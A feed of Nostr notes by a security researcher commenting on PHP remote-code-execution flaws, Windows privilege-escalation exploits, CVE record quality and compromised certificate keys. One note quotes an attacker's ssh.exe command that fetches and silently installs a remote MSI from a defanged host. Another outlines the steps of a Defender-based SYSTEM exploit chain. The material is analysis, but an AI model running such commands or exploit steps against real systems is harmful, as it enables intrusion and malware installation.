Nostr notes by Will Dormann

Weird that using a FreeBSD version EOL'd over 5 years ago has ...

2026-10-27T14:41:45Z

In reply to nevent1q…4ezz
_________________________

Weird that using a FreeBSD version EOL'd over 5 years ago has consequences. 🤔

Just got mine, and it's pretty slick. Oddly, though, while it ...

2026-10-26T21:16:02Z

In reply to nevent1q…zyc9
_________________________

Just got mine, and it's pretty slick.

Oddly, though, while it sets the time automatically on power-on, it does **not** seem so set the time zone. Those using the built-in timer feature probably don't think in UTC time.

Anyway, I ran this command to set it:Backlog Timezone 99; TimeDst 0,2,3,1,2,-240; TimeStd 0,1,11,1,2,-300

There was a [steal my bitcoin ...

2026-10-26T14:40:13Z

In reply to nevent1q…tdf9
_________________________

There was a [steal my bitcoin challenge](https://stealmybitcoin.com/ ) which offered some bitcoin if the PHP instance could be compromised. It was won after 19.28 hours.

The [solution exploit has been posted](https://github.com/KillaBoi/StealMyBitcoin-PoC ), which I've confirmed to work.

From the exploit:

> The offsets and multipart shapes are calibrated for the challenge's observed Alpine PHP 8.4.26 layout.

Which was presumably observable from the live server.

This is from what I'd expect to be the VM series, as it was ...

2026-10-26T14:34:44Z

In reply to nevent1q…q937
_________________________

This is from what I'd expect to be the VM series, as it was snagged from Azure in May of this year. 🤷‍♂️

They do? ...

2026-10-26T13:58:10Z

In reply to nevent1q…dcre
_________________________

They do?

In the ever-growing sea of AI slop exploits out there, this is ...

2026-10-22T19:29:47Z

In reply to nevent1q…deu9
_________________________

In the ever-growing sea of AI slop exploits out there, this is the closest I've seen to being viable:
https://github.com/9bie/php2shell-bypass-aslr-exp

With two **large** caveats:
1) It requires specific, albeit plausible, configuration options for PHP.
2) It appears to requires specific knowledge of the specific PHP code running on the target system.

**With these two caveats**, yeah, you can get code execution. Without them, good luck?

At least with what I've seen so far, I've not seen any evidence that there's a universal exploit for this. It's possible that this vulnerability may be able to be combined with another vulnerability in a popular platform to achieve universal reliably. But I don't think we're even there yet.

If we look at the Red Hat advisories for ...

2026-10-21T16:55:48Z

In reply to nevent1q…0meq
_________________________

If we look at the Red Hat advisories for [CVE-2026-109619](https://access.redhat.com/security/cve/cve-2026-109619 ) and [CVE-2026-109619](https://access.redhat.com/security/cve/cve-2026-109619 ), we can see that the "Errata" and "Release Date" columns are empty. Which suggests that no fixes are available.

But if we look at one of the affected products (RHEL9, php8.3), we can see that there **is** indeed an update available: [RHSA-2026:87079](https://access.redhat.com/errata/RHSA-2026:87079 )

This sort of stuff makes me glad I'm not responsible for sysadmin stuff in the real world.

Update your PHP (if you can), folks. That is, install PHP 8.5.12 ...

2026-10-21T13:43:04Z

Update your PHP (if you can), folks. That is, install PHP 8.5.12 to fix critical vulnerabilities [CVE-2026-109618](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w ) and [CVE-2026-109619](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp ).
https://www.php.net/archive/2026.php#2026-10-21-5

Until updates are available on your platform, I hear that setting in php.ini<code>memory_limit=-1 session.upload_progress.enabled=0 fatal_error_backtraces=0 </code>

can mitigate some attacks. Also:

> Set a low post_max_size> . For applications that don't require file uploads, set post_max_size = 8M> . If file uploads are necessary, set post_max_size = 32M> . Keep upload_max_filesize> below post_max_size> . Consider enforcing limits at the web server or proxy level for decoded request size, input field count, multipart part count, header count, and nesting depth. These limits must also cover requests without a usable Content-Length.

[More info from Wiz here](https://www.wiz.io/blog/php2shell-php-rce )

Looks like Calif may have a PoC called php2shell that works ...

2026-10-20T22:14:46Z

In reply to nevent1q…x5m2
_________________________

Looks like Calif may have a PoC called php2shell that works against WordPress.

A company trusted with ensuring that the communications on the ...

2026-10-20T22:11:33Z

In reply to nevent1q…79rr
_________________________

A company trusted with ensuring that the communications on the internet are secure, eMudhra, was tasked with using unguessable 384-bit private keys for a NIST P-384 elliptic curve.

eMudhra:
How about 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004? That's 384 bits, right?

On the upside, I guess this means that we'll be able to MITM devices that we wouldn't otherwise be able to see the traffic from. (Think non-computers like TVs and the like that'll never see updates)

Today's WTF: Creating a document in Microsoft Word, my page ...

2026-10-20T17:18:22Z

Today's WTF:

Creating a document in Microsoft Word, my page content layout just happened to result in an additional blank page at the end that could not be deleted.

The fix:<li>Toggle the <code>Show/Hide ¶</code> button in Word.</li><li>Change the FONT SIZE of the normally invisible <code>¶</code> character to be smaller.</li>

With the **invisible** marker using a smaller **size**, an additional blank page at the end isn't required to store it. 🤦‍♂️

That sound you hear is trust for some eMudhra emSign certs being ...

2026-10-20T15:04:41Z

That sound you hear is trust for some eMudhra emSign certs being revoked. (Private keys compromised)

https://blog.mozilla.org/security/2026/10/20/protecting-firefox-users-following-the-compromise-of-emudhra-intermediate-certificates/

https://www.mozilla.org/en-US/security/advisories/mfsa2026-111/#CVE-2026-113470

Yeah, all is good. Thanks.

2026-10-15T13:15:12Z

In reply to nevent1q…4hs3
_________________________

Yeah, all is good. Thanks.

I got hit by a car and now my front wheel is bent. 😕 ...

2026-10-15T13:02:45Z

I got hit by a car and now my front wheel is bent. 😕

Pic stolen from the bad place. Ledger devices are tamper-proof, ...

2026-10-14T13:24:59Z

Pic stolen from the bad place.

Ledger devices are tamper-proof, so there is no anti-tampering sticker on the box.

The idiocy knows no bounds. Graphic showing drop in HTTP requests ...

2026-10-13T18:59:04Z

In reply to nevent1q…33j4
_________________________

The idiocy knows no bounds.

Graphic showing drop in HTTP requests from Yandex.
Conclusion: Elon Musk loses 100M followers.

Volexity: > This exploit chain combined an authentication ...

2026-10-13T16:28:07Z

In reply to nevent1q…vup8
_________________________

Volexity:

> This exploit chain combined an authentication bypass, a remote code execution (RCE), and a privilege escalation vulnerability to achieve unauthenticated root-level code execution.

Ivanti:

> "This" is CVE-2026-104935

> The affected element is an unknown function of the file ...

2026-10-11T15:33:52Z

In reply to nevent1q…ep5p
_________________________

> The affected element is an unknown function of the file /root/viper/.git/config. Performing a manipulation results in hard-coded credentials.

WUT

I'm not sure I'd call "paste this PowerShell command ...

2026-10-08T21:47:04Z

In reply to nevent1q…kh0v
_________________________

I'm not sure I'd call "paste this PowerShell command into the Windows run dialog" "evolved". 😂

Remember when cell phones became readily available to the masses? ...

2026-10-08T16:50:15Z

Remember when cell phones became readily available to the masses? As a society, we sort of lost the capability of remembering phone numbers, as we didn't need to do that anymore.

So with all of this readily available LLM stuff now... are we going to lose the ability to think?

No. The current NetScaler is based on FreeBSD 11.4, which ...

2026-10-04T21:02:22Z

In reply to nevent1q…qyeh
_________________________

No. The current NetScaler is based on FreeBSD 11.4, which predates ASLR support by years.

FreeBSD has made it clear that they don't care about / ...

2026-10-04T15:32:07Z

In reply to nevent1q…ym5g
_________________________

FreeBSD has made it clear that they don't care about / don't understand security.

There's no way a memory overflow could lead to RCE on a ...

2026-10-04T12:16:52Z

In reply to nevent1q…f7jv
_________________________

There's no way a memory overflow could lead to RCE on a system with no ASLR or stack canaries. 😂

> The guidance below is intended to help customers take ...

2026-10-02T20:34:54Z

In reply to nevent1q…hmwt
_________________________

> The guidance below is intended to help customers take immediate action to reduce exposure.

...

> Recommended customer action
> Customers should take the following actions: <li>Inspect the NetScaler Gateway and AAA configuration for SAML authentication action. </li><li>If you are currently experiencing the impact from this issue, please contact Citrix support.</li>the impact

😂

Nostr event nevent1qqs9fqtmwfffegda3kzv7s88j840skccx950plq7gry0jxn3rndyecgzypg6uyqfu3qrmqslc8qju99lfdqdu3x8m3sh0zvggr9pa70ea0rksj309w6

2026-10-02T12:53:32Z

In reply to nevent1q…ezvl
_________________________

https://lwn.net/Articles/961961/

All CVSS scores are wrong. 😂

2026-10-01T13:24:30Z

In reply to nevent1q…7zdx
_________________________

All CVSS scores are wrong. 😂

Super Intelligence ...

2026-10-01T00:50:13Z

Super Intelligence

They redesigned [example.com](https://example.com ) Of course I ...

2026-09-29T19:09:56Z

They redesigned [example.com](https://example.com )

Of course I noticed.

Two things about this [Start Blizzard phishing attack outlined by ...

2026-09-29T18:24:47Z

Two things about this [Start Blizzard phishing attack outlined by Microsoft](https://www.microsoft.com/en-us/security/blog/2026/09/29/star-blizzard-refines-phishing-and-malware-delivery-with-the-redflick-technique/ )<li>The technique for using <code>ssh.exe</code> to run the specified commandline upon connecting to a remote SSH host (which obviously has been configured to allow password-free logins):<pre><code>C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=cmd.exe /q /c start msiexec /q /i https://etia[.]ca/f.msi"; -q s@etia[.]ca </code></pre></li><li>If you don't log in to Windows as an admin, this VHDX vehicle for delivering badness doesn't even work at all. First, you're prompted for admin user credentials. Second (and this is likely a Windows bug, but I'll take it 😂), after entering credentials, Windows says: <code>Sorry, there was a problem mounting the file</code>.</li>

It sort of blows my mind the number of people who log into their computers as an admin, but YOLO I guess.

Note: [I wrote about how attackers benefit from VHD/VHDX years ago](https://www.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/ ). It's a good way to avoid AV products that may be operating on the wire. Obviously, once mounted, host-based AV products will see the contents just as if it were any other storage location.

That's fair. Red Hat didn't bother fixing those. 😂

2026-09-29T12:51:18Z

In reply to nevent1q…sjpk
_________________________

That's fair.
Red Hat didn't bother fixing those. 😂

I haven't looked at any of this, but I'm slightly ...

2026-09-27T23:18:33Z

In reply to nevent1q…4xgz
_________________________

I haven't looked at any of this, but I'm slightly reminded of when Ivanti VPN hacks were going around, and Ivanti's advice was to "just run the ICT" (integrity checker).

All while hand-waving over the fact that an already-comoromised device could simply fake the results of the ICT that runs on the compromised device.

Hopefully NetScaler devices aren't in the same boat?

Nostr event nevent1qqswttanchltedsgxuwuzvkrw8yxmpu0gg4mjgz9eps5968mt3qyjxqzypg6uyqfu3qrmqslc8qju99lfdqdu3x8m3sh0zvggr9pa70ea0rksyk0sgq

2026-09-27T22:33:37Z

In reply to nevent1q…hrhy
_________________________

https://www.techspot.com/news/114003-openai-pauses-training-most-powerful-ai-models-after.html

Theory: AI companies intentionally have bad security practices, as it gives them stories to tell about how their product is too powerful for the masses.

RE: https://infosec.exchange/@BleepingComputer/117322781758096304 ...

2026-09-25T15:21:23Z

RE: https://infosec.exchange/@BleepingComputer/117322781758096304

[example.com](https://example.com ) exists for a reason, folks.

quoting
note1eah…096s

The "third-party.com" domain, commonly used as a placeholder in developer documentation and code examples, is serving a fake Cloudflare verification page that attempts to trick Windows users into executing PowerShell commands.

https://www.bleepingcomputer.com/news/security/placeholder-domain-used-in-dev-docs-now-serves-clickfix-attacks/

2.5 years ago I bought an Orange Pi for $12.90, excited about how ...

2026-09-23T13:07:00Z

2.5 years ago I bought an Orange Pi for $12.90, excited about how much cheaper they'll surely get.

The same model is currently $73.44

Fluid Karma, eh? ...

2026-09-21T18:58:15Z

In reply to nevent1q…8jmj
_________________________

Fluid Karma, eh?

I went to a pretty intense ...

2026-09-20T13:47:03Z

I went to a pretty intense [championship](https://www.instagram.com/pghparkingchamp?stkn=MWx6bmFkYW1yZm95MQ== ) yesterday. It was great.

Ramdom thought / further evidence that this universe is against ...

2026-09-18T15:23:23Z

Ramdom thought / further evidence that this universe is against me:

In the cycling world, clip**less** pedals are pedals that you **clip into**.

I don't like this.

I can only assume that this is a case of "roll out the update ...

2026-09-18T13:56:04Z

In reply to nevent1q…r339
_________________________

I can only assume that this is a case of "roll out the update and wait long enough for the masses to install it before telling anyone about the vulnerabilities it fixes" ? 🤷‍♂️

Synology on September 18: > Upgrade to 7.4-90075 or above. ...

2026-09-18T13:46:43Z

In reply to nevent1q…fxt7
_________________________

Synology on September 18:

> Upgrade to 7.4-90075 or above.

Also Synology on July 24:
We've released Synology DSM 7.4.1-90080

The [GitHub repo](https://github.com/MSNightmare/ShieldCrash ) ...

2026-09-15T17:10:09Z

In reply to nevent1q…rexh
_________________________

The [GitHub repo](https://github.com/MSNightmare/ShieldCrash ) has been updated to make it work.

Did you update to iOS 27? Congratulations! You've now been ...

2026-09-15T13:12:39Z

Did you update to iOS 27? Congratulations! You've now been re-enrolled in Apple Intelligence, because Apple knows better about what you want than you do.<li>Starting with iOS 27, there is no top-level <code>Apple Intelligence</code> setting that you can turn off.</li><li>If you had <code>Apple Intelligence</code> disabled on iOS prior to 27, the features that use Apple Intelligence will be automatically re-enabled upon upgrading to 27.</li><li>If you do want to turn off an example Apple Intelligence thing in iOS 27, you can:<ul><li>Settings → Screen Time</li><li>Content & Privacy Restrictions → turn it on (It's off by default)</li><li>Siri → Writing Assistance → Don’t Allow</li></ul></li>

Confusingly, on this same settings page, you can select Siri Classic, as opposed to the default-in-27 Siri AI (Beta). However, after making this change, none of the settings below it change at all. So is Siri AI (Beta) with Writing Assistance (and all other settings there) set to Don't Allow less AI-ish than Siri Classic with the default associated settings of Allowed? I have no idea.

Are there any Apple Intelligence settings outside of the Content & Privacy Restrictions settings for Siri? I also have no idea.

You will embrace your AI overlords and you will like it.

Nostr event nevent1qqspv7ychhh2k09p9n39utuqu6s2mrhc76wknk28r7hgkm4mzcna9cszypg6uyqfu3qrmqslc8qju99lfdqdu3x8m3sh0zvggr9pa70ea0rkssplxxz

2026-09-15T00:18:51Z

RE: https://flipboard.com/@cbsnews/latest-headlines-3kai39s2z/-/a-fY6emZFXTAC7OV2eCgjWVA%3Aa%3A2476075171-%2F0

Honest question:
Why do politicians basically work until they die?

quoting
note1jze…wk34

Sen. Mitch McConnell returns to Congress after 3-month absence
[https://www.cbsnews.com/video/mitch-mcconnell-returns-congress-3-month-absence/?utm_source=flipboard&utm_medium=activitypub ](https://www.cbsnews.com/video/mitch-mcconnell-returns-congress-3-month-absence/?utm_source=flipboard&utm_medium=activitypub )

Posted into Latest Headlines [@latest-headlines-CBSNews](https://flipboard.com/@cbsnews/latest-headlines-3kai39s2z )

New from Nightmare Eclipse is ...

2026-09-14T18:31:30Z

New from Nightmare Eclipse is [ShieldCrash](https://github.com/MSNightmare/ShieldCrash ), which claims to allow a user to read an arbitrary file as SYSTEM.

What it does instead is give you a copy of ntdll.dll with a fancy file name, which a non-admin user can do anyway. 🤷‍♂️

Even the screenshot in the GitHub repo shows an ELAM.{GUID} output file which has a size of 2,522,080, which is the size of Windows 11 25H2's ntdll.dll as of September 2026.

[Microsoft describing a ClickFix attack in ...

2026-09-14T10:52:20Z

[Microsoft describing a ClickFix attack in 2026](https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/ ):

Make sure your web browser isn't 6 years out of date.

(Adobe stopped supporting Flash at the end of 2020, with major browsers automatically blocking it at the beginning of 2021)

Not to be outdone by having a [code execution vulnerability in ...

2026-09-10T18:14:10Z

Not to be outdone by having a [code execution vulnerability in the Notepad app](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 ) (which is **not** the notepad.exe that comes with Windows, BTW), there's also [one in mspaint.exe](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70586 )

Granted I don't expect the latter to be exploited in the wild, but I still reserve the right to laugh at them.

Anthropic notices another felony that they committed. They ...

2026-09-10T07:58:10Z

In reply to nevent1q…gjkc
_________________________

Anthropic notices another felony that they committed. They noticed this one by not using AI to look for it.
https://www.theregister.com/ai-and-ml/2026/09/10/anthropic-reveals-fourth-likely-crime-committed-by-its-ai/5295412

On any given Patch Tuesday, it is no more difficult to to patch ...

2026-09-09T06:57:49Z

In reply to nevent1q…xdv3
_________________________

On any given Patch Tuesday, it is no more difficult to to patch 1000 vulnerabilities across 10 Microsoft products than it is to patch 10 vulnerabilities across 10 products. 🤷‍♂️

After a power outage long enough to exceed my UPS battery ...

2026-09-03T13:08:53Z

After a power outage long enough to exceed my UPS battery capacity, I finally finished up my script to automatically suspend running VMware Workstation VMs and also shut down other (Linux) hosts cleanly upon UPS-triggered shutdown of my Windows host.

I'm disappointed (but not surprised) that VMware Workstation doesn't do this automatically, but in this Broadcom-owns-VMware world I can't imagine that they are interested in any product improvements.

Would anybody find value in these admittedly-crufty scripts?

Consistent device naming would have prevented this renaming? 🤔 ...

2026-09-02T11:43:35Z

In reply to nevent1q…wpw9
_________________________

Consistent device naming would have prevented this renaming? 🤔
(a name of eth0 is evidence that the feature is off)

NightmareEclipse has released an LPE for Kaspersky antivirus ...

2026-08-31T18:33:39Z

NightmareEclipse has released an LPE for Kaspersky antivirus called [HardBreacher](https://github.com/MSNightmare/HardBreacher )

While I had originally written it off as "doesn't work", I decided to test the old 14.0.0.504 version that is mentioned in the readme. And yeah, that works. But that version was digitally signed in April 2026, so is a touch old by now.

It does not seem to work on an up-to-date version of Kaspersky. Firstly because an up-to-date Kaspersky detects the exploit itself. But even after adding an exclusion for it, it doesn't seem to do what's intended. There is a conhost.exe that's spawned from avpui.exe, but it never seems to complete what it's doing. On an exploitable system it disappears pretty quickly.

I guess that's one of the perils of testing exploits for AV products. Sometimes it can be tricky to distinguish between the vulnerability being fixed and some sort of detection being added.

The [Pixel 11 is less secure than a Pixel ...

2026-08-29T21:02:03Z

The [Pixel 11 is less secure than a Pixel 8a](https://grapheneos.social/@GrapheneOS/117180255646968652 ) because it **DOESN'T SUPPORT MTE**!

How do things like this happen? Somebody at Google decided to make the chip on a Pixel 11 **worse** than its predecessors, and enough people agreed to make it a reality. 🤦‍♂️

Or if you want an [LPE **shell ...

2026-08-25T14:07:37Z

In reply to nevent1q…t490
_________________________

Or if you want an [LPE **shell script**](https://github.com/0xdeadbeefnetwork/OmarchyLinuxLPE ), have at it.

Note that I've twice called Omarchy a "distro", which is perhaps unfair. It's apparently just Arch that's preconfigured for those who do enjoy editing config files with Neovim, but avoids security and wokeness.

[Stop USB device names from being executed as Hyprland ...

2026-08-25T12:26:39Z

In reply to nevent1q…n7t6
_________________________

[Stop USB device names from being executed as Hyprland Lua](https://github.com/basecamp/omarchy/commit/9285b19d6a72eba3df8537d62a4cd5506a803d89 )

This isn't a serious distro.

Yeah, a perfect 10 is a telltale sign that it's wrong.

2026-08-24T21:31:20Z

In reply to nevent1q…5xmy
_________________________

Yeah, a perfect 10 is a telltale sign that it's wrong.

Out of all of the CVEs, I'd be interested to see which CVSS ...

2026-08-24T21:09:48Z

In reply to nevent1q…cu3x
_________________________

Out of all of the CVEs, I'd be interested to see which CVSS scores don't match up with the words in the CVE record itself.

My bet is that it's **much** higher than most people would guess.

If you're a user of the "opinionated" (LOL) Omarchy ...

2026-08-24T15:43:07Z

If you're a user of the "opinionated" (LOL) Omarchy distro, you might be a [simple few clicks from code execution from your browser](https://mehmetince.net/omarchy/ )

This is a touch more fun than the boring (but seemingly effective?) ClickFix-style attacks where you paste commands into a terminal.

Humble opinion: As opposed to being addicted, those not choosing ...

2026-08-23T15:10:56Z

In reply to nevent1q…hktr
_________________________

Humble opinion: As opposed to being addicted, those not choosing "gambling" do not consider themselves affected by gambling in any way whatsoever. So its disappearance would make absolutely no difference in their lives.

I find it funny that there are CNA ...

2026-08-22T14:23:47Z

In reply to nevent1q…sl85
_________________________

I find it funny that there are CNA "[rules](https://www.cve.org/Resources/Media/Archives/OldWebsite/cve/cna/rules.html#section_8-3_cve_entry_reference_requirements )", but they're not enforced. AKA they're just suggestions.

It would be **trivial** to have an automatic check to make sure a reference exists at publication time. But why should anyone bother with that, as it's merely more work?

We all know that CVE references age over time, and eventually ...

2026-08-22T14:01:42Z

We all know that CVE references age over time, and eventually none of the references exist anymore. (See also: people who run websites usually don't understand the concept of the World Wide Web)

Case in point:
The recent GitLab [CVE-2026-19478](https://www.cve.org/CVERecord?id=CVE-2026-19478 ) and [CVE-2026-19650](https://www.cve.org/CVERecord?id=CVE-2026-19650 )

Out of the three references, one of them simply [doesn't exist](https://gitlab.com/gitlab-org/gitlab/-/work_items/612617 ), and one of them is [hidden behind a login requirement](https://hackerone.com/reports/3926431 ), after which you're told that you cannot access it.

Why wait for references to age out over time when you can make them worthless right at publication time? 😂

Proud owner of this shirt. I actually wore it to the theater to ...

2026-08-21T16:12:32Z

In reply to nevent1q…6wu4
_________________________

Proud owner of this shirt.

I actually wore it to the theater to see Oppenheimer. Only to be disappointed that the film wasn't about science, but rather was some courtroom drama about some guy who wanted to keep his security clearance, for some reason I cannot fathom. 😂

I remember when Windows required Ctrl-Alt-Del to be able to log ...

2026-08-21T13:31:18Z

In reply to nevent1q…z0m8
_________________________

I remember when Windows required Ctrl-Alt-Del to be able to log in.

No amount of money can eradicate ../

2026-08-21T13:18:43Z

In reply to nevent1q…ke4e
_________________________

No amount of money can eradicate ../

Eh, it looks like I'm victim of playing the telephone game ...

2026-08-20T17:21:57Z

In reply to nevent1q…f8wp
_________________________

Eh, it looks like I'm victim of playing the telephone game with my own memory. I guess it wasn't their own PoC. It was just **a** PoC.

From my notes in 2023:

=====
So my theories are:
1) OwnCloud recognized (or was told) that they have a phpinfo() page that can successfully be reached anonymously.
2) OwnCloud recognized that in docker installs, a successfully reached phpinfo() will leak the admin user/pass.
3) A CVSS 10 was assigned and advisory released, without actually confirming that docker installs are exploitable.
4) Somebody created a PoC exploit based on the public advisory, without confirming that it works.
5) Folks like Greynoise say that [CVE-2023-49103 is being exploited in the wild](https://web.archive.org/web/20231128001817/https://www.greynoise.io/blog/cve-2023-49103-owncloud-critical-vulnerability-quickly-exploited-in-the-wild ) because they saw traffic (from the above PoC).
6) Step 5) gets amplified in the usual infosec manner.
=====

Greynoise made a [follow-up post admitting that the PoC didn't work](https://web.archive.org/web/20231130022307/https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/ )

As an experiment, I posted the same content as I did here on both ...

2026-08-20T00:30:05Z

As an experiment, I posted the same content as I did here on both Twitter and BlueSky, neither of which I really bother with using anymore. And I suppose with this sample set of one, over 24 hours, my suspicions were confirmed.

Twitter: The OG infosec community (for some reason). The remnants here are OK being around Nazis. The most interactions of the three platforms.

Mastodon: A refuge for those who left Twitter. Though seemingly anti-Windows, so perhaps less interest in Windows infosec.

BlueSky: Not sure who the target audience is, but they're not interested in infosec.

I will be presenting at ...

2026-08-18T20:39:25Z

I will be presenting at [THREATCON1](https://www.threatcon1.org/agenda ) in October, explaining how I figured out how a non-admin user could get code execution as SYSTEM on Windows 11 by way of playing a MIDI file. 😂

I will admit that I'm curious what a "high quality" ...

2026-08-17T16:19:47Z

In reply to nevent1q…ugtq
_________________________

I will admit that I'm curious what a "high quality" update looks like, compared to the usual. 😂

Apparently Microsoft is tracking ShieldBreak as ...

2026-08-17T14:51:08Z

In reply to nevent1q…d4pd
_________________________

Apparently Microsoft is tracking ShieldBreak as [CVE-2026-69414](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69414 )

No fix has been released yet.

This is correct and necessary.

2026-08-15T16:34:58Z

In reply to nevent1q…an83
_________________________

This is correct and necessary.

Back in my CERT/CC days, it was made very clear to use language ...

2026-08-15T16:23:49Z

In reply to nevent1q…qzwx
_________________________

Back in my CERT/CC days, it was made very clear to use language that did not imply moral judgment.

What if the attacker happened to be your own government, doing something that is arguably good for the world?

Ok, yeah. I just noticed that privacy.resistFingerprinting causes ...

2026-08-14T21:33:23Z

In reply to nevent1q…cdn0
_________________________

Ok, yeah. I just noticed that privacy.resistFingerprinting causes images uploaded to LLMs to be garbled.

Apparently because such things use HTML5 canvases, and the mere action of uploading an image doesn't just send the bits from my disk. It works its way through an HTML 5 canvas, and with privacy.resistFingerprinting enabled, Firefox does some [anti-fingerprinting trickery](https://wiki.mozilla.org/Security/Fingerprinting ). And as such, the local-file image bits, which worked their way into a canvas, now get sent on as a garbled canvas image.

The modern web is simply delightful.

A [working ...

2026-08-13T18:43:49Z

In reply to nevent1q…vvje
_________________________

A [working exploit](https://github.com/DavidCarliez/CVE-2026-66804-CrossDevice-LPE ) to achieve a SYSTEM shell with only CVE-2026-66804 has been released.

In July, Microsoft [patched as ...

2026-08-13T02:52:10Z

In July, Microsoft [patched as CVE-2026-50343](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50343 ) **one** of the two vulnerabilities used in an exploit chain that Calif reported to them.

Upon seeing that **one** of the two vulnerabilities was patched, Calif released the [description of the Dark Elevator exploit chain](https://blog.calif.io/p/dark-elevator-windows-install-service ), describing **both** vulnerabilities.

Yesterday, Microsoft [patched as CVE-2026-66804](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66804 ) the other half.
(Before the update, {E9F83CF2-E0C0-4CA7-AF01-E90C70BEF496} was hosted by %PROGRAMDATA%\CrossDevice\CrossDevice.Streaming.Source.dll, a path that any non-admin user can create)

Apparently several people noticed. 😂

While it claims to be a RoguePlanet bypass, I'll admit ...

2026-08-12T15:02:31Z

In reply to nevent1q…8l57
_________________________

While it **claims** to be a RoguePlanet bypass, I'll admit that my naive eyeballs fail to see the similarity.

I've skipped a few minor points, but the general gist is:
1) Set up a temp directory that's registered as a Cloud Sync provider.<li>Plant an EICAR file</li><li>Use Object Manager symlinks to control Defender's scan path to system32.</li><li>During the scan, swap the identity file and hydration data to <code>C:\Windows\system32\phoneinfo.dll</code> (which doesn't exist by default in Windows)</li><li>Run the <code>QueueReporting</code> scheduled task, which runs <code>wermgr.exe -upload</code> as <code>Run with highest privileges</code></li>

In the wer.dll code, there is explicit code to load phoneinfo.dll. Because at this point, phoneinfo.dll exists and is our own code, this runs, spawning conhost.exe with SYSTEM privileges.

I don't recall RoguePlanet doing anything with cloud providers, hydration anything, phoneinfo.dll, and unlike RoguePlanet, ShieldBreak seems to require Defender to be active to work. 🤷‍♂️

Nostr event nevent1qqspuwdp2g4z2xd04tldw6tf2369dj5nc84ahw5xsyckvq20epqz8mszypg6uyqfu3qrmqslc8qju99lfdqdu3x8m3sh0zvggr9pa70ea0rks328lup

2026-08-12T03:50:46Z

In reply to nevent1q…5ejj
_________________________

And right on schedule (after the Patch Tuesday release), we have ...

2026-08-11T23:58:48Z

And right on schedule (after the Patch Tuesday release), we have [ShieldBreak](https://blog.projectnightcrawler.dev/posts/2026-08-11-shieldbreak-august-2026-disclosure/ ) from Nightmare Eclipse. Which is reportedly an insufficient fix for RoguePlanet.

In my brief testing, Defender needs to be enabled for the exploit to work.

Since Metabase couldn't be bothered, it looks like CISA has ...

2026-08-10T18:04:26Z

In reply to nevent1q…fm7e
_________________________

Since Metabase couldn't be bothered, it looks like CISA has assigned CVEs.<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72898"; target="_blank" rel="nofollow noopener">CVE-2026-72898</a> Metabase SQL injection via password reset endpoint</li><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72899"; target="_blank" rel="nofollow noopener">CVE-2026-72899</a> Metabase SQL injection via public card or dashboard</li><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72900"; target="_blank" rel="nofollow noopener">CVE-2026-72900</a> Metabase information exposure</li>

Somebody posted a [Windows 11 LPE ...

2026-08-10T18:00:36Z

Somebody posted a [Windows 11 LPE writeup](https://xz.aliyun.com/news/92658 ), with a CVE that doesn't yet exist ([CVE-2026-62737](https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-62737 )).

By poking at kloader's ExecutionContext, we can get kernel mode execution at an arbitrary address.

A stock Windows VM won't have a NIC that uses the NetAdapterCx framework, so will not show as affected. But you can start that service to see it in action.

The PoC has a hard-coded 0xFFFFF80041414141 as an execution target. I'm sure that somebody knowledgeable with Windows kernel stuff can figure out how to modify this to do something useful.

Perhaps CVE-2026-62737 will be included in this Patch Tuesday lineup?

Apparently [Framework was compromised via this ...

2026-08-09T13:05:56Z

In reply to nevent1q…wmhn
_________________________

Apparently [Framework was compromised via this vulnerability](https://www.pcmag.com/news/upgradable-laptop-maker-framework-suffers-breach-affecting-all-customers )

But:<li>Nobody knows for sure, as there's no CVE for this vulnerability, and as such there's no CVE in this write-up. (I wonder if there's value to using CVE IDs to talk about vulnerabilities? 🤔</li><li>When a vulnerability in cloud-hosted code is exploited, you say "the breach occurred through a third-party company". Here I thought that cloud-based instances of software doesn't have vulnerabilities. At least based on how vendors word advisories. ("Hosted instance of <code><foo></code> is not affected", leaving off the at the time of this writing part)</li><li>Metabase is an AI company. Who knew?</li>

Metabase : [we fixed a critical ...

2026-08-08T20:38:01Z

Metabase : [we fixed a critical vulnerability](https://www.metabase.com/blog/security-update ). We even made a [github advisory](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf ), showing how it's a CVSS 10.

The CVE? None. Not worth it.

Black Hat gave OpenAI a captive audience with no opposing ...

2026-08-07T18:39:23Z

In reply to nevent1q…9szz
_________________________

Black Hat gave OpenAI a captive audience with no opposing perspective to allow them to give their marketing spiel about how they're the best and you should fear their AI.

There's a [thread over at the bad place](https://nitter.net/arekfurt/status/2085760757258436825 ) about this.

If anybody else is making the switch to (or back to) Firefox, ...

2026-08-07T15:30:37Z

In reply to nevent1q…8t4a
_________________________

If anybody else is making the switch to (or back to) Firefox, there are a few settings that a security-/privacy-conscious user may want to enable:<li>Enable the <code>Block AI enhancements</code> toggle to disable all AI-related nonsense globally.</li><li>Disable Telemetry & Data Collection.</li><li>Disable "Firefox Home"</li><li>Use "Strict" tracking protection</li><li>Enable HTTPS-only mode</li>

Bonus:
In about:config, set:<li><code>privacy.resistFingerprinting</code>: <code>true</code></li><li><code>media.peerconnection.enabled</code>: <code>false</code></li><li><code>geo.enabled</code>: <code>false</code></li>

[As does ...

2026-08-07T15:19:12Z

In reply to nevent1q…kgus
_________________________

[As does Kimi](https://www.wired.com/story/moonshot-kimi-k3-ai-model-escape-sandbox/ )

It's clear that any AI provider that doesn't admit (or make up) news that they hacked real-world parties, that's apparently evidence that their product is inferior.

Ah, lovely. In case you were a uBlock Origin user who had rules ...

2026-08-07T14:30:50Z

In reply to nevent1q…tjl4
_________________________

Ah, lovely.

